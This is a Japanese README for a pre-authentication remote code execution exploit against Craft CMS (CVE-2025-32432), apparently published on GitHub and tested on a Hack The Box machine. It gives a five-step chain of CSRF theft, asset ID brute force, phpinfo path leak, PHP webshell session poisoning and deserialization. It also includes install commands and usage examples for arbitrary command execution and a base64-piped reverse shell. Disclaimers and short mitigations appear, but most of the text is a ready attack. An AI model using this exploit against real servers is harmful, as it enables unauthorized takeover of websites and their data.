Craft CMS 3.x/4.x/5.x 向けの信頼性の高い CVE-2025-32432 認証前 RCE エクスプロイト。他の公開 PoC が失敗する環境でも動作します
作者: P34NUT2
脆弱性: Craft CMS におけるリモートコード実行 (認証前)
CVE: CVE-2025-32432
対象: 脆弱な Craft CMS インスタンス (3.x / 4.x / 5.x) — Hack The Box: Orion で検証済み
このツールは、Hack The Box、TryHackMe、またはあなたが所有するか、テストに対する明示的な書面による許可を得ているプライベートラボ環境など、教育目的および許可されたペネトレーションテストに厳密に限定して提供されています。
あなたが所有していない、またはテストに対する明示的な許可を得ていないシステムに対してこのツールを不正使用することは、Computer Fraud and Abuse Act (CFAA)、情報システムに対する攻撃に関する EU 指令、および世界中のほとんどの法域における同等の法律の下で違法です。
作者は、このソフトウェアの使用に起因するいかなる誤用、損害、または法的結果についても、一切の責任を負いません。責任を持って倫理的に使用してください。
CVE-2025-32432 の公開 PoC のほとんどは、HTB: Orion のような実環境のターゲットに対して、以下の理由で失敗します:
&、>、<) の処理が壊れているこのエクスプロイトは、これらの信頼性の問題を解決するためにゼロから構築されました。URL エンコードを適切に処理し、動的トークン抽出を自動化し、Base64 ラッパーパイプラインを使用して、あらゆる脆弱な Craft CMS インスタンスに対して信頼性の高い実行を実現します — 実際のデプロイメントに対して検証され、HTB Orion で実証されています。
| ステップ | アクション | 説明 |
|---|---|---|
| 1 | セッションと CSRF の取得 | 管理エンドポイントから CraftSessionId、CRAFT_CSRF_TOKEN、および動的な CSRF_TOKEN を抽出します |
| 2 | アセット ID の探索 | トランスフォーム生成ペイロードに必要な有効なアセット ID をブルートフォースします |
| 3 | セッションパスの漏洩 | Guzzle オブジェクトを注入して phpinfo() をトリガーし、session.save_path を動的に読み取ります |
| 4 | セッションポイズニング | URL エンコードされた PHP ウェブシェルペイロードをアクティブなセッションファイルに注入します |
| 5 | RCE トリガー | ポイズニングされたセッションをデシリアライズして、任意のシステムコマンドを実行します |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| フラグ | ロングオプション | 必須 | 説明 |
|---|---|---|---|
-u | --url | ✅ はい | ターゲットのベース URL (例: http://example.com) |
-c | --cmd | ✅ はい | リモートターゲットで実行するコマンド |
-a | --asset | ❌ いいえ | 既知の有効なアセット ID (実行を高速化します) |
-s | --scan-max | ❌ いいえ | アセット ID ブルートフォースの最大範囲 (デフォルト: 300) |
1. 基本的なコマンド実行
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. 既知のアセット ID を使用する場合 (高速)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. エンコードされたペイロード (特殊文字に推奨)
特殊文字が HTTP パーサーによって変更されたり、セッション処理中に切り捨てられたりするのを防ぐため、コマンドを渡す前に Base64 でエンコードしてください:
# Step 1 — encode your command locally
echo -n "YOUR_COMMAND_HERE" | base64
# Step 2 — pass the encoded string through the script
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Base64 ラッパー経由のリバースシェル
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
Craft CMS を運用しているシステム管理者または開発者の方は、以下の緩和策を適用してください:
/actions/*) へのアクセスを制限します。このプロジェクトは、教育目的および許可されたテストでの使用に限定してライセンスされています。詳細は LICENSE を参照してください。